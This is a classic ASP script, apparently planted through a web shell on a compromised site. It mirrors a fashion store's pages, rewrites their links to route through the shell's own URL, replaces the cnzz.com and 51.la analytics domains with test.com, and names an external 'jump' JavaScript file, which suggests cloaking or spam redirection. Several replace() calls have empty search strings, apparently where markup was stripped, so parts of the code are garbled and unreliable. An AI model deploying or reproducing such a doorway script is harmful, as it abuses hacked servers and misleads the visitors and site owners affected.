<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "http://www.autoairtool.com/bt/nessyfashion.js" '跳转js fromsite = "http://www.nessyfashion.com/" '镜像的目标站 tourl ="http://www.extraextra.org/r89nq6ynj7.asp" '当前shell的地址 pageid = "fifacoins" imagefolder = "images/" tourl = tourl&"?" 'test Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Server.URLEncode(Url) End Function Function GetCode(str,regstr) Dim Reg,serStr,Cols Set Reg= new RegExp Reg.IgnoreCase = True Reg.MultiLine = True Reg.Pattern =regstr If Reg.test(str) Then Set Cols = Reg.Execute(str) GetCode=Cols(0).SubMatches(0) Else GetCode="" End If Set Cols = Nothing Set Reg = Nothing End Function %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function '根据字符串获取类别编号或者产品编号 Function getID(URL) dim idstr '编号 dim start '开始位置 dim last dim pstr dim clstr pstr="index.php?main_page=product_info&products_id=" clstr="index.php?main_page=index&cPath=" if URL<>"" then '查找.html last=InStr(URL,".html") '先查找产品,如果没有再查找类别,都没有的话,返回0 start=InStr(URL,"-p-") if start=0 then start=InStr(URL,"-c-") '截取两者之间的数字 idstr=mid(URL,start+3,last-start-3) getID = clstr &idstr else '截取两者之间的数字 idstr=mid(URL,start+3,last-start-3) getID = pstr &idstr end if end if End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if Request.QueryString<>"" then str=getID(Request.QueryString) htmls = getHTTPPage(fromsite&Request.QueryString) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,"",""&chr(13)&""&str&chr(34)&">") htmls = replace(htmls,"cnzz.com","test.com") htmls = replace(htmls,"51.la","test.com") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,""&chr(34)&"/assets/",""&chr(34)&fromsite&"assets/") htmls = replace(htmls,"href='"&fromsite,"href='"&tourl) htmls = replace(htmls,tourl&"wp-content",fromsite&"wp-content") else htmls = getHTTPPage(fromsite) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,"",""&chr(13)&""&chr(34)&">") htmls = replace(htmls,"cnzz.com","test.com") htmls = replace(htmls,"51.la","test.com") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"/scripts/",""&chr(34)&fromsite&"scripts/") htmls = replace(htmls,""&chr(34)&"/themes/",""&chr(34)&fromsite&"themes/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"href='"&fromsite,"href='"&tourl) htmls = replace(htmls,""&chr(34)&"/assets/",""&chr(34)&fromsite&"assets/") htmls = replace(htmls,tourl&"wp-content",fromsite&"wp-content") end if response.write htmls %>